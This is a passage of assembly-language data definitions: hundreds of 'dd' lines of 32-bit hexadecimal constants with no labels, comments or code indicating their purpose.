		dd 0DE1ED3EBh, 0CE23FE94h, 0D00C51E6h, 0AA432A1Dh, 89D75F68h
		dd 49270075h, 82FBEE9Ch, 0AE9F519Fh, 709B63EBh,	9896A22h
		dd 81DBAE69h, 45A90583h, 0AB19F7CCh, 5A4CDCB0h,	0A078608Ch
		dd 0EEBF414Dh, 2259124Ah, 0DD4010BFh, 0C4832EFEh, 204BA412h
		dd 0ABC4BE82h, 6FF367A7h, 58F7BD46h, 0EAC34780h, 1A9F7B1Ch
		dd 98233310h, 1F2AB543h, 5C571548h, 0B21A5826h,	0A5BAB47Fh
		dd 27BB39DAh, 0ECF24A57h, 0E25039Ch, 0E1748793h, 130FF0DAh
		dd 0B6C0EC5Fh, 3648C44Bh, 0B03B131h, 36CABF72h,	41118708h
		dd 78194B4h, 9F078E26h,	7421D61Fh, 0EFCAE897h, 93372B69h
		dd 6E84C654h, 0D52A467Bh, 0DEF7AE16h, 0F1B02A3Bh, 3FA5C733h
		dd 0E4335A05h, 61CFED8Ch, 3AF08032h, 0BFC013D0h, 0C002794Eh
		dd 0B51B49A6h, 0FCA0D37Bh, 688E3628h, 7C5B1F8Bh, 0D36AA4A5h
		dd 0BE6F4653h, 26D8A239h, 0A2724982h, 18E47301h, 0BE872DF2h
		dd 9A08F625h, 0BFBE3763h, 0A806DD3h, 0DA8C2FDAh, 519CFD43h
		dd 0DA61293Bh, 0C6932656h, 4E144F16h, 641C6347h, 23A558B1h
		dd 0FC8323B3h, 7C1B4F87h, 339B31DAh, 0CFC01AC3h, 0E0687ADh
		dd 0AAABDECAh, 0AB875B73h, 46BE813Fh, 0FB863DBEh, 0FB973748h
		dd 909D3BE1h, 7F752440h, 893C48D5h, 2DAA3B1Bh, 0B45A8F69h
		dd 32834962h, 0CC486B4Fh, 20AA8198h, 0DD686FB7h, 0FB0501CFh
		dd 2DEC096h, 0C5387C3h,	95183F6Ah, 2FBE7847h, 0FC5176B0h
		dd 711F2509h, 5D9D680h,	8CCAE856h, 6A009D12h, 3FE586A0h
		dd 64EBDEAAh, 81C6B8A3h, 0C409E8F7h, 2BB40C18h,	8ED3A3A0h
		dd 507A4D34h, 0D98BF09Ch, 0AA8E304Dh, 0EC1D8AB1h, 82928005h
		dd 66E96AF5h, 8E6F6409h, 7FF88DBBh, 0CC516FA9h,	170FC435h
		dd 49BA9B65h, 81D8D8C4h, 9A552D3h, 26F83E0h, 5D8EB173h
		dd 5A6BF6D7h, 0ADA40425h, 0F6CA21ADh, 0F7B0EAE2h, 0F442F705h
		dd 1F7632Ah, 0AA29180Ah, 0E4921AEh, 6B11624Dh, 60C2E463h
		dd 4768792Ah, 7EC6EC4Ch, 4FA077ADh, 1CF67EFEh, 5C7C025h
		dd 97D9BA51h, 1610DEBAh, 1AAAAABFh, 84967737h, 84EA7B40h
		dd 57810DF5h, 105F02D9h, 130D9ADCh, 9744696h, 0D88A2602h
		dd 0F5EC239Ah, 0FA0B0818h, 59361A76h, 0BC8EB0EAh, 0F3640EE5h
		dd 121E0755h, 4CA7928Dh, 102B34B6h, 97D25A8Dh, 49BD9716h
		dd 0EB96BDEBh, 0C98B5C67h, 69F57D91h, 32D8604Fh, 88CF8536h
		dd 0E506FB1Eh, 9F611006h, 782E7857h, 717F2E7Dh,	0FE8F7C70h
		dd 7BD041AFh, 0AE9C8CAFh, 8E6392A4h, 731DB452h,	734AEE8h
		dd 280DE5E0h, 351B1FC1h, 1F9CCC69h, 9D027FDBh, 5A46D071h
		dd 9B734807h, 0CF05D53Eh, 0A1712344h, 359B21E0h, 6C6F4F3Fh
		dd 67017A71h, 0CF6C02A9h, 30ED325Dh, 684452BCh,	0FF4872D4h
		dd 5A4DCF93h, 50D2D042h, 0FC0D490Ch, 1572622Eh,	0D8D8F054h
		dd 79A93730h, 0A1CD11D6h, 0F90CBB93h, 9C95AB9Ah, 0AF5C40E1h
		dd 244A0882h, 7463DEFDh, 6A00CD5h, 7574A4F0h, 296C8E3Ch
		dd 8A6D3D70h, 0B25EB102h, 4C8737EEh, 95300B44h,	77C2D356h
		dd 34847BA1h, 543CF579h, 0F7AB7C1Bh, 56D6660Eh,	5FF0172h
		dd 0ECCD6F45h, 26E624Fh, 0A66602Bh, 0BE50A438h,	2D9DFFD1h
		dd 0DFB66E19h, 36A23113h, 55DDC08h, 6F9D51DDh, 0BCE7F1Ah
		dd 0C96EA939h, 0EFF97A1h, 2A7723F0h, 15C802D0h,	0CA3AD8DBh
		dd 0DDD5D75Bh, 0CC03EE3Bh, 4C41F39Dh, 0C02A1B98h, 67445BAh
		dd 0D5D3FBFBh, 9B0FFF87h, 954D0BBCh, 0A41990DEh, 9166EFB1h
		dd 3542AA28h, 4F1619D4h, 6385B152h, 32375F00h, 0B3DC9125h
		dd 68C4AA1Ch, 0AE5C6539h, 1E81F4EBh, 0F0E5193Ch, 5C0380ABh
		dd 0DD99E277h, 955A4B76h, 6D1CE348h, 808EBEDDh,	0C1D077A5h
		dd 17E3F286h, 496319CAh, 0B1F21569h, 0E868B72Fh, 0FE7A24D5h
		dd 6DE096FCh, 829F1DC8h, 0BAC3EDF4h, 35699DFBh,	0CE94667Dh
		dd 0A8E87B36h, 0DA58E1BFh, 784C3B7Bh, 954FDA83h, 5C37DF5Eh
		dd 36338F2Ah, 0E446B7C1h, 6371C5Bh, 0FBE990DFh,	266CB327h
		dd 0D0425EF2h, 827BB593h, 0E15FEC3Eh, 5B4A6DF4h, 87F3936Dh
		dd 847D916Ch, 0C68C6E93h, 0D8A02893h, 0ED9C91B6h, 0AF3FD710h
		dd 0DBF736C4h, 423D9978h, 0B5D849C4h, 4ED0DCD8h, 0F09955Eh
		dd 0D09D8C9Eh, 2192C869h, 77F56572h, 81462449h,	0EDB5DCCCh
		dd 8965A6AAh, 2C1FABA6h, 0F6324A57h, 0EF6124FEh, 0ACE1B0BEh
		dd 782D3D64h, 38BF18B3h, 4D88919Bh, 3DEA12E6h, 0D1278719h
		dd 97438474h, 0FF06E016h, 9349240Bh, 9CD0B769h,	0E507884Dh
		dd 0EE63DE32h, 509BA089h, 1710C727h, 0C9F2AA66h, 0C4740C24h
		dd 0CD54E7E5h, 538A1531h, 0B23F7125h, 9D3C6B84h, 857D77BBh
		dd 6EB3F542h, 84A105ABh, 417B4F7Fh, 7F37A8F8h, 0B163A410h
		dd 61095A5Eh, 0EBA19AE3h, 5A5C2AB5h, 477A56Bh, 42DD7256h
		dd 960413C5h, 20BCBDCEh, 0EC10B557h, 5C78FFF8h,	0A02724D6h
		dd 6512B333h, 0E84A30A5h, 4FEEDCE2h, 0B1E9024Eh, 0A06B19E2h
		dd 8A55DCA6h, 97156850h, 7DFB3ED3h, 1499E0AAh, 8AFCC494h
		dd 0CB06B592h, 7DD2565Bh, 3E048A13h, 1E6805Ah, 0CFA793CCh
		dd 5B76BAD1h, 0DB86C18Dh, 0F2B1BE1Eh, 48FDDB75h, 7D0FBBEAh
		dd 87515F24h, 7E11AAAh,	212F88F5h, 0D42E9473h, 0C3CC1669h
		dd 0FAB83F27h, 272B8F53h, 908C8503h, 461FC21Eh,	6E7806A1h
		dd 0EEF3B468h, 0AA12A8D1h, 0CFB4B550h, 2B8DC82Bh, 87D0305Fh
		dd 829AEAD6h, 544C0891h, 45BF573h, 0C7EA2D17h, 541890BAh
		dd 702E2274h, 0DB7C7B8Eh, 56962917h, 533CB931h,	0A7DC7767h
		dd 9D59BD0Eh, 0A195F4Fh, 0F7D92C98h, 0F1D503FEh, 69F39EB9h
		dd 0CE03121Eh, 0D6313F7Ch, 4EF5D9C9h, 31CAA87Eh, 49FDC141h
		dd 14EE5132h, 36009B03h, 2E56E037h, 0C9E0C05Ch,	20FECA56h
		dd 985EFD4Fh, 0F5B5AF52h, 0E815B11Ch, 1C4EF56Ch, 0B283425Eh
		dd 0E3E358C9h, 0BF3BE267h, 0D70DC78Bh, 361971EBh, 98D5C0ABh
		dd 7C0AB076h, 8E810D3Eh, 379F3B75h, 5C8479E7h, 0BCD2C8CFh
		dd 0BAADC4B1h, 187AB828h, 32395797h, 959AA26h, 0E9F7DF3h
		dd 3B6F3DECh, 2C87FDADh, 0CAAFC5D7h, 0D40A3CCDh, 594461E7h
		dd 0C1BA8762h, 7CCBB459h, 7A974584h, 6C108AC7h,	0D481D3CCh
		dd 19F8915Ah, 7E59E7D5h, 0A188FF91h, 543A16DDh,	0BE5B5BC7h
		dd 2410C300h, 0BBB09614h, 0CA5BBCBh, 51B3DCFBh,	0B27EF04Dh
		dd 20DCA21h, 2E475E39h,	0EF4FCB18h, 5853FC74h, 58BB31FCh
		dd 0ACCC448Dh, 0E40CBF2Dh, 0F83BB343h, 2DBA6835h, 479058F6h
		dd 0F9F05662h, 94DE8D23h, 27A233F1h, 3AACC554h,	0D86DF113h
		dd 0ACB60A85h, 72704124h, 0C73A50A5h, 2BFCF089h, 36D75096h
		dd 0FD1323E4h, 40E82518h, 74FE8DACh, 60760897h,	4B065F2Bh
		dd 29EEAE2h, 9BD685E3h,	0A32B5A75h, 527B6896h, 0D49BC499h
		dd 0E8846089h, 4B9CB315h, 418BD0F4h, 651A0A58h,	9C37CD32h
		dd 40CF52B8h, 0B4C0A26Eh, 56F2AD64h, 0EACAA7C7h, 7815462Ch
		dd 0BE3C2705h, 0B1D54751h, 65FA51A4h, 0A900B1E0h, 0DCB5F5EEh
		dd 0EDCD2BEEh, 786ADEBEh, 0DFE5E01Dh, 0FDE3BF8h, 0FB00DE19h
		dd 0FFA2DEB8h, 4CDCEE9Ch, 0C98161D9h, 0D875B66Ch, 853423Ah
		dd 3AC88D02h, 0A103FECAh, 694B788h, 0D7E99CE0h,	92CBD5CFh
		dd 0FEB324D2h, 5A54CFE1h, 0DA8ECADDh, 1B3FA870h, 20D8ABDh
		dd 1FDC1671h, 964E78C3h, 660EA576h, 9D8C31A5h, 59F60778h
		dd 0D136F6D0h, 870F5336h
		dd 7955AA24h, 82D3FE08h, 0DA2EA641h, 0ADBFEBE5h, 6F36018Eh
		dd 0B7527DB1h, 0DB1DB5BAh, 25F57203h, 4E328D5Ah, 48A95153h
		dd 0DC63DDC6h, 0B88CBCE3h, 0BBE04D53h, 96C3D069h, 0F59C7CFEh
		dd 86329CC6h, 0B52E2CE6h, 0F08D989Fh, 0AC05A253h, 0C0E7BA6h
		dd 0AD184919h, 9E72FD1Fh, 8107D166h, 60B820D1h,	0D174FAEBh
		dd 0D0D308E8h, 0FFFBB9BBh, 8BE389A5h, 170C1A38h, 6AD3C464h
		dd 6B83DAA8h, 0EE6FC9FAh, 0A9F8AF68h, 0B4C03001h, 37216684h
		dd 9090F13Fh, 0C7341106h, 0A7993F13h, 14E91AEFh, 4FAC7BE2h
		dd 3672AFE3h, 30293782h, 0DAED7CC1h, 0F16530F4h, 0A160DE44h
		dd 346DBFB3h, 3714254h,	0DD7777F6h, 0CE395624h,	0DB7F1990h
		dd 86DEBD1Ah, 27F80927h, 0A5AC6ED1h, 3B23557Eh,	0F47C89ACh
		dd 32547293h, 2D82CE11h, 50BC3B6Fh, 0B180C97Eh,	0A375C1A0h
		dd 5814CF0Eh, 12F852F7h, 0B2CD2BD0h, 2F6264C8h,	0DA72D782h
		dd 0AA31AD3Ah, 0B16CFB7Ch, 4D233626h, 0CC92A4F4h, 0E1680846h
		dd 0AEBE52DAh, 0FFA342BEh, 2C69DC66h, 0FED047F8h, 62F7620Bh
		dd 0CA35789h, 145A5970h, 3D5B8E7Ah, 0BDDF0358h,	0DC521CB3h
		dd 8FEE39BFh, 0AC1D59BEh, 0A26F7504h, 835678CEh, 0E6ED439Bh
		dd 0CA39D13Ch, 3BC1A89Ch, 0CD54E233h, 83A22509h, 0B7FACF72h
		dd 2F2AA6F7h, 0EC0A7FACh, 96B141DAh, 568A2385h,	0B553549h
		dd 96FFDA24h, 0F1B7C46Ch, 0A4F9B6C1h, 670C12F3h, 4A3EEA0Ah
		dd 4CEB0EF0h, 0F596BE69h, 92C42EF5h, 0B3CF844Ah, 6DE0E5A3h
		dd 3036452h, 0EF4C31D9h, 2D6E436Bh, 4C8068CEh, 0A18736Fh
		dd 55F29771h, 0C36302C5h, 8967EE4Dh, 0B9172857h, 9BC4AC19h
		dd 95E97C05h, 477F3114h, 17F2678Bh, 2F851FE9h, 907023C9h
		dd 8B3336F2h, 4431B20h,	77F889F5h, 940F50Fh, 8CC72B34h
		dd 0E19CE30h, 4443E298h, 7DD8617Ch, 18169210h, 251C3E7Eh
		dd 0B1B32FC6h, 376FE52Dh, 3CA6DC2Ah, 0F7A23EE0h, 15864596h
		dd 2ED240BFh, 0BAC26A51h, 0B43D2790h, 2753F53Fh, 0DD4A3AE8h
		dd 0DFFD440Bh, 0A82B853Fh, 2BADF1Eh, 493CC2Eh, 7726C481h
		dd 8E64018Bh, 7DCCEF9Fh, 7297AEh, 2E850787h, 6D5AFB3Eh
		dd 9B319801h, 10C37E15h, 0B2F8AAB4h, 0ECDECF85h, 3EA0A5A3h
		dd 0EE1B0B03h, 927C006Fh, 90250034h, 9D79C460h,	0BCCBC7EBh
		dd 942AFF70h, 0B9BCC5E4h, 8E7F1E0Eh, 0E8EC28E4h, 4513BDF6h
		dd 90CD5455h, 1CC79E96h, 4141B464h, 37D063E5h, 0C20DF6C3h
		dd 2C693E3Ah, 3E179F86h, 0D27DFA0Dh, 28ECD5AAh,	0B43E9FCBh
		dd 996ED0B3h, 88312AEDh, 0E007A7E7h, 0FEAA0FF9h, 0F29D9E21h
		dd 0F4EF5A19h, 7876E482h, 0CAB6C3A0h, 0AFDA22E1h, 66079733h
		dd 4891618h, 1B917B65h,	0CE3EDE96h, 0EB7D7DFAh,	1F92566Eh
		dd 0EB0834CFh, 53DBC171h, 0CB48783Ch, 80DB74A2h, 0F02859FEh
		dd 0DFC7172Eh, 5ABF0E50h, 75A3C1F1h, 0B4DC9A64h, 0F4A50B06h
		dd 789C2DD7h, 43E491F9h, 3FF18E73h, 66CACDA8h, 0C718C336h
		dd 6C7D7708h, 0B3E09F50h, 8E232535h, 0D7ACB216h, 0C5731C61h
		dd 96A31CC4h, 36E6FDA8h, 1FC49C19h, 0B2CA885Ah,	3D02DA0h
		dd 615C96E4h, 45143220h, 8564758Ch, 0AD50665Dh,	0B05E1B8Dh
		dd 42364B63h, 3A92EC2Fh, 8F53B73Ch, 6D0899ADh, 5FE724CAh
		dd 1DCE39Ch, 0E346DBE7h, 72C06B97h, 1E6302E0h, 0EEEE17EBh
		dd 0E85B70C5h, 9BE035A1h, 0EDBC8508h, 0E9A0688Eh, 49665BD2h
		dd 0D93A200Bh, 8B8D8CFAh, 0DA72BF01h, 0C42AE2CCh, 0E2D611C3h
		dd 67EA7BA3h, 397DEEA5h, 0B072E9F2h, 77ABF854h,	61F99649h
		dd 2DB9C4A7h, 65A52F1Ah, 0AC73B0F0h, 0AD476375h, 814CCB77h
		dd 608C7A19h, 0AA53E256h, 9F01BB5Ah, 35B3B0DAh,	9FBC38B3h
		dd 8D378E13h, 0A185D1Dh, 0B448DC2Eh, 10D063h, 0EC11ECEh
		dd 1E1E2411h, 0A3BE2C50h, 45546E0Dh, 0D4E09C5Ah, 0A13FACA9h
		dd 0EFE2D0F7h, 21F23ADBh, 43E8BCC3h, 0B3ACD6E5h, 6F7972A1h
		dd 1E62F7D1h, 4F3ADEA6h, 0D11C45EBh, 0F747080Ch, 0CDA085FFh
		dd 12DD8D60h, 0A3209B8h, 0EF6C40FDh, 8BB8BDFEh,	1785EBE7h
		dd 753F5EEEh, 0F7B1F27h, 577B8D19h, 275E306Ah, 0EF95759Bh
		dd 0C361A6BEh, 5787A0C0h, 53ADBC2Fh, 4961A45Bh,	5AC375DDh
		dd 878AC291h, 78D4D007h, 0E89C93C4h, 0CE479060h, 0FB3AEB2Fh
		dd 0DBFF1C8Dh, 0B51AF7D7h, 4E56445Eh, 4ADE22B7h, 6FFB018Ch
		dd 0DC6918Ah, 0B8415E68h, 62BCBD67h, 9FE77572h,	0D4C235E9h
		dd 61640796h, 3EB0CD7Eh, 738BB757h, 0D7969A1Fh,	0E38A1B1Ch
		dd 9DB1AC97h, 69C89DF0h, 0F59E97E8h, 0E808D708h, 0A2FF0FF8h
		dd 0D49CEC42h, 5DAAC0F9h, 0BA124B89h, 25B49059h, 0B2834B1h
		dd 60B0445Bh, 0FBDF8C2Fh, 49CBF6A0h, 9FC716Fh, 0B64DC568h
		dd 5A16EAB2h, 0B906AEA7h, 0FCB79F18h, 47913285h, 80032D88h
		dd 0C28FFB0h, 6ED9FCACh, 0C9425128h, 400A2FA0h,	0A0D98E89h
		dd 96DFEAEAh, 6B9AB633h, 0A566C3E7h, 0EC706353h, 249DF19Ah
		dd 79A074Eh, 9AFF79FAh,	0FD188EA8h, 9831EAB6h, 0CD94E9F7h
		dd 7257A2D9h, 0AD8B74F4h, 0BA3476ECh, 0CCEE08C1h, 712AF696h
		dd 4178CFCh, 44ABF094h,	0ACE40AEAh, 0F8574A45h,	5F325055h
		dd 16FA4B48h, 5D22D6ADh, 21F393E9h, 0D00BDA6Bh,	2F7982E5h
		dd 9E1299E8h, 0B2876C79h, 0A89BB2C1h, 0BE4956C2h, 6EF48305h
		dd 0C1AC0D92h, 43C36C6Fh, 0A3D5D685h, 0E49305EAh, 15D5AE81h
		dd 0A9A06FFh, 8E770010h, 2C40D506h, 0A2362A43h,	837C00C8h
		dd 0D677E40Fh, 0A2742B1Ah, 165A0DF4h, 93802678h, 0F19677BAh
		dd 0D02F3D89h, 0B76DDC2Fh, 39012E25h, 9C90F9B5h, 0E56193A3h
		dd 0DA9735B9h, 1A4F36D4h, 6518BB34h, 0C7EB4C76h, 0F63D5796h
		dd 162941FFh, 0C9B9E8Dh, 8C893E0Bh, 5D6A006Ah, 0B2080AB5h
		dd 53DDB035h, 387561E9h, 9218EA9h, 273BEA08h, 0D64121CFh
		dd 8E7688F2h, 628E9256h, 0B80EE112h, 13BDA01Ch,	0C457A62Ch
		dd 0C5CEDF99h, 0E9A29B4h, 3F8C09F8h, 5FFB2F9Ah,	6BFA77B1h
		dd 336373DFh, 0BBBC6BBAh, 4E033B66h, 2E25824Fh,	4EFC03Ah
		dd 18B72CBh, 0B426D07Ah, 0EC26844Dh, 0C2D8F7E5h, 0E8DDB305h
		dd 0A828649Dh, 0F1522AA9h, 0A47E1AA1h, 1E3ABE0Fh, 80ED4D1Bh
		dd 0D2186B7Fh, 61D9CAABh, 585B0E1Fh, 0C2D95A43h, 0C3409DCh
		dd 12915169h, 59B9D361h, 0EA54A48Ch, 0D50E7499h, 94E87511h
		dd 43EBC572h, 0C9D6D4C3h, 63613E11h, 0A0990171h, 0B70FDEDEh
		dd 1500CAC5h, 81EC50AAh, 0B248E8Ch, 19243275h, 0A62604Ch
		dd 4228DDh, 92B8C1BEh, 0F8ADADD4h, 0BC5B8519h, 490B8663h
		dd 6692D758h, 37A6EA6Eh, 24075079h, 0AE2C500Bh,	5CA2B5B2h
		dd 5780B6B8h, 6495A85Ah, 47D4D658h, 97CE903Dh, 2BB3DFFEh
		dd 0DBB64B50h, 18C6AD20h, 82444CCCh, 14471787h,	61326021h
		dd 9493235Fh, 6502459Fh, 0C25965A0h, 0B5F4A387h, 23804A4Ah
		dd 39C29997h, 74AB3A1Eh, 737CF309h, 5B1B4D84h, 75FCE16Ah
		dd 0A8069254h, 0B6D05CA8h, 33F62B03h, 71AA7A85h, 0D49AA54Ch
		dd 7F4D7C21h, 0EAA7EF23h, 0DB1F1E2Dh, 2473CF29h, 53B84905h
		dd 0A6ECE28Bh, 0CF8C8A00h, 0DB9DFA00h, 2D1A2A6Ch, 0EE5E8952h
		dd 36B689E1h, 73D44A0Ch, 5C6CA0F5h, 775688E5h, 2A19AB64h
		dd 5C21741Eh, 3538F1AFh, 0DF7CD6E0h, 89BE3EC8h,	198621ECh
		dd 0C24B70Ah, 55A9BD2h,	0D69E1ECFh, 46D480E9h, 0B6E3851h
		dd 50598848h, 1FF8Ah, 9CF1A470h, 572AFF73h, 41093BFCh
		dd 6873B40Fh, 36B1B3F2h
		dd 72BBF16Ah, 35146D4Fh, 7CCE3A3Bh, 996E017Ah, 0D7FFAD91h
		dd 0F89D60DCh, 0DE93A8EFh, 5B914B53h, 0D924A7Eh, 1012D863h
		dd 8062915h, 0D63FBF7Fh, 0D0E41027h, 7AC8D4C6h,	0BE197889h
		dd 0F67903F8h, 2F9948E7h, 0A86EF7A4h, 0FED4894Ah, 363855F5h
		dd 0E6D6A5A9h, 0FB01E7E5h, 0C547C314h, 5190D23h, 0CD123625h
		dd 0FDED2DDCh, 0C4633A78h, 44559DBFh, 1F846FCFh, 73C39EDBh
		dd 513B809Ah, 5D2B2FDFh, 0A0ACE1DEh, 0C51D1DDBh, 21D14CCCh
		dd 1AFC59AEh, 1488FA06h, 8B777AF3h, 0E40438B4h,	40E5B24h
		dd 46615146h, 2DAA0F34h, 0C2EC8F0Ah, 0EDE6ED12h, 5ECCE185h
		dd 40C08F4Ch, 0DDB116FFh, 0FB79693Eh, 0A39861F4h, 0B8E2E1ADh
		dd 0E6A910FCh, 807CC93h, 685D9CE5h, 4E5D4D1Ch, 0EBC93C9Dh
		dd 116CABE8h, 0B3C5E213h, 9779D8AEh, 50806F61h,	8BFE809Eh
		dd 4B74B7h, 6F38125Eh, 86B7EDAFh, 65D9C710h, 0CAE764B1h
		dd 0F2D7BCD5h, 3E8BBEF7h, 0CFF1A426h, 0B79F868Dh, 0B6F72702h
		dd 0DFF00F64h, 383F7793h, 8B359018h, 67493FE0h,	94CDE70Ch
		dd 3160B952h, 392A1D97h, 855D75FAh, 0C7E5A92Fh,	42F3D141h
		dd 0AFE5B945h, 0BE304579h, 70BC89DEh, 377BB58Bh, 96F60C4Fh
		dd 0C98EB704h, 6425FBD8h, 0B0890F0h, 54C554C7h,	93EAECEAh
		dd 0B5B136EAh, 24641B81h, 785A9C1h, 50CB75DAh, 3C211E8h
		dd 74891ED0h, 4D679F8Ah, 6A179D0Ah, 0B6C8D627h,	0D3520DB9h
		dd 0EC054933h, 15DA3A81h, 8C225F6h, 7E40B606h, 4B25D44Fh
		dd 0B92F3017h, 25DBB46h, 33AC522h, 8A8F3E1Ch, 7A9408FBh
		dd 0BEA885F9h, 0FDA6FA93h, 0ED12392Dh, 0B7CEA5E1h, 0D275D0F3h
		dd 0E2C068AFh, 26F79A90h, 7C6CDCB1h, 0D33E3D1Eh, 0F21F97E8h
		dd 589E4FAAh, 63DDB077h, 24ED3DAh, 25E00976h, 9CF9ED41h
		dd 0D6CDD816h, 6666E2F9h, 9C2AB094h, 4852808Fh,	92D69138h
		dd 985AF57Bh, 11500317h, 0EDDF12FDh, 74946E4Ch,	0A9904113h
		dd 0E5D33F0Eh, 0B4E3364Ch, 768E380Dh, 5DC86EB2h, 0D407560Dh
		dd 0AD7A209Dh, 0A8FC425Eh, 0ECAEBF78h, 2812FFDFh, 0F15C974Ah
		dd 51A86985h, 90CA9405h, 3DDCC79Ch, 8E2E40C9h, 9EB6C94Fh
		dd 0EF3E0D81h, 0C3F5670Eh, 85BB252h, 1D4D8B4Bh,	0AA86FD42h
		dd 75715BCDh, 0C951F1EFh, 1B4EDC5Ah, 34855635h,	1FD39BCDh
		dd 538DDC35h, 36568E7Fh, 26E71CD5h, 6BF225D3h, 861F3A29h
		dd 8EACBB6h, 0D2329520h, 0A3CF7106h, 6AF76EE1h,	6258D596h
		dd 7B6181EFh, 0BAA4C901h, 0D3426DC8h, 332EDB1Ch, 0CCDE4835h
		dd 0A9698BA5h, 0FEBB80B2h, 0DCE97FC6h, 44518F8h, 95E25257h
		dd 0EBF49C33h, 94D4FF63h, 7480523Dh, 0B0DB48ADh, 1ED16CCBh
		dd 0A92997E9h, 0A01BBBFFh, 0B3BE4908h, 78B7CBC2h, 7A2EE2EDh
		dd 9637067Eh, 0C5751F69h, 7E0D6AE3h, 0C35BE062h, 1324D665h
		dd 2C748F34h, 492BCC63h, 222C46C6h, 0D32A6065h,	2DB734C0h
		dd 4E19F533h, 0BFAFA1C5h, 0C2F962A6h, 23ED7963h, 8F501ACEh
		dd 0A79D14F7h, 46407375h, 0C515FA5h, 5A9423FAh,	17397A5Ch
		dd 74A18522h, 0BBB85786h, 0FA049B2Dh, 4A2C8F35h, 0EDCCEA7Fh
		dd 0D459D58h, 8013BC61h, 4B4DA7AAh, 14898B8Bh, 5956E651h
		dd 1C1DF62Ah, 0A1141D9Ch, 0BDA4814Fh, 0DF86D397h, 601804F6h
		dd 78B6DBE7h, 4B5AD075h, 91875111h, 432C9D35h, 0D75289E4h
		dd 2CAF63Bh, 450C704Ch,	0C3150525h, 0EC449CAAh,	0CCFEBDCBh
		dd 86798AFFh, 53F7D504h, 2FB3A67Bh, 4F4D8318h, 958284ACh
		dd 16E676D4h, 0E253A542h, 54D49E62h, 0EE07BD5Ch, 95049DDCh
		dd 1EEA1F35h, 0B022D946h, 97894787h, 0FC163722h, 696BDF33h
		dd 0FD9EC98Dh, 0D78D721Eh, 27230AEDh, 93F7160Fh, 9AE5B8F0h
		dd 3694A535h, 0A3CA4BAh, 7EEDCD8Bh, 38996BE5h, 0FAEDE435h
		dd 9A66ABEFh, 255EC461h, 1F59F9CCh, 317F4522h, 2CB87BDCh
		dd 0E8B6C0CFh, 3E2C634h, 3C675E77h, 8D63D042h, 4186C7B1h
		dd 766B8883h, 624BA31Dh, 0DAB5BD5Dh, 0FA0541C8h, 0C1279FDFh
		dd 9C9ACB36h, 2950C74Ah, 97D748DAh, 504756E3h, 0CBDCD382h
		dd 75D3938Fh, 4D2C3621h, 7FE6D692h, 0CD18FA00h,	51FBF0AFh
		dd 0C8DC1F1Eh, 0E374C312h, 0B5BDD815h, 0FC4311F2h, 0D80A8020h
		dd 0F19649F4h, 5C16B675h, 9975315Dh, 0BA22368Eh, 0FBE78A93h
		dd 525336DBh, 6E07ED3Ch, 0E5C67D2h, 98093759h, 0EF8FEB21h
		dd 2484532Eh, 30A881FBh, 2A67FA1Fh, 0FF705960h,	0ACD133F7h
		dd 3D125E1Ch, 779F6FF7h, 0BF5C2C3Ch, 67061642h,	0F7C0652Fh
		dd 7EA1995Bh, 0E02953D3h, 276EE298h, 79AAC09Eh,	0A651B5F7h
		dd 5A68EAE4h, 0D433F610h, 96CD5464h, 27A09CB1h,	0B5ABF80Dh
		dd 0B8434839h, 9788CD18h, 49FE5A48h, 6847C7ECh,	0E8A8776Fh
		dd 6DFECAE1h, 0F6B745EDh, 3F22A8C3h, 0A9DFDA1h,	4EDFA368h
		dd 0EEAEEA16h, 122602C5h, 5C7F7815h, 0DA9F2F50h, 0D58F79F9h
		dd 0A3E6657Bh, 0A76FA82Ah, 0F05F39A6h, 0FB147115h, 0A530381h
		dd 0AE3B6BBFh, 0F8BBB6C1h, 0B0A080C3h, 81B50136h, 11D3212Eh
		dd 0F90DDCECh, 657C9E5Eh, 5E3A0B74h, 822D7BFh, 79D2F2E7h
		dd 0F3A9CDC9h, 826B6C7Eh, 6EB5C286h, 92CFD744h,	18674B7h
		dd 115035CCh, 0B7974B0Dh, 31900B8Bh, 9EFBAB31h,	1224A110h
		dd 2D477300h, 0DFCDADFAh, 0F2879C6h, 0B194B1FFh, 25820217h
		dd 0FAE15C3Ah, 0CB2A38FFh, 0ADB8722Eh, 6868EE9Ah, 8D2D7BCAh
		dd 74D9E0EDh, 0D4C66F10h, 0A5B1260Fh, 7F2B5F6Dh, 0BFAE53B0h
		dd 67564EDAh, 73EB6C34h, 0BBCB1BF3h, 0C51BB8BBh, 9231114h
		dd 6E9932DBh, 9792519Fh, 2DA37F0Ch, 83D80B8Ch, 0F7377DFDh
		dd 75CE3CF5h, 0CAE8F6DDh, 52255727h, 40C086F8h,	1266A505h
		dd 78649D9h, 5F5D3817h,	0F4605497h, 0C2FEF4CCh,	0A97FC5FAh
		dd 0F1B9D3ADh, 69AAF61Fh, 2502A553h, 0CA77F925h, 54C55F75h
		dd 0AD388249h, 0E7390430h, 4E86479Dh, 0C3190D8Ah, 6D042DB3h
		dd 0AB73F898h, 5496C17Eh, 82713E16h, 9841B108h,	438EB878h
		dd 9995FD1Ch, 4677D193h, 987D2FD2h, 5063BE0Eh, 93241FE2h
		dd 6A235CF3h, 0A731B2E9h, 88A950B7h, 0A30E03CAh, 19FC7B0Eh
		dd 4E9324B1h, 32CF446Dh, 327DA595h, 0D68AA39Ch,	6ED2A44h
		dd 981CBE02h, 9791DB77h, 676E1EF5h, 65180C89h, 0AEB562C3h
		dd 222C7C45h, 43EF549Ch, 58FEE4h, 3E37C5FFh, 1ECA4B18h
		dd 4D5FC51Bh, 56BDDB5Ch, 0E7931BFBh, 7840AAA1h,	84D82991h
		dd 9E6AE41h, 0F07F71C2h, 0A1EDB454h, 0DA33C647h, 8C835B1Fh
		dd 177F19D9h, 4E78BA1Dh, 0DD1A1A6Fh, 0EAA8C0ACh, 28E31186h
		dd 0AA6737BAh, 88F42C15h, 83F37BFBh, 0A9E3B1Ch,	0A94472DEh
		dd 4A233986h, 26FC6A1Ah, 0A0768589h, 0AFB1CD2Dh, 9C30E199h
		dd 39CF39DBh, 47C0E2ADh, 1506BDDAh, 0BB1286AFh,	0E58E1532h
		dd 0F3449DFDh, 4E2BBA8Ah, 0E3ED73BEh, 0FA417DAh, 242F5FC1h
		dd 76685335h, 9497CE2Ah, 22713087h, 11B28550h, 0A0BEE646h
		dd 566D5E53h, 5272F935h, 6917A364h, 0E68BA021h,	70348611h
		dd 5184C661h, 479E87F8h, 3737A7DCh, 5FC1BCD9h, 9C011118h
		dd 0C8DA0354h, 0C3181993h, 0FC2CC723h, 125B3683h, 7B8AE563h
		dd 0B572D42Eh, 0E779E680h, 6A43C23h, 60C3B2D3h,	0B6C42102h
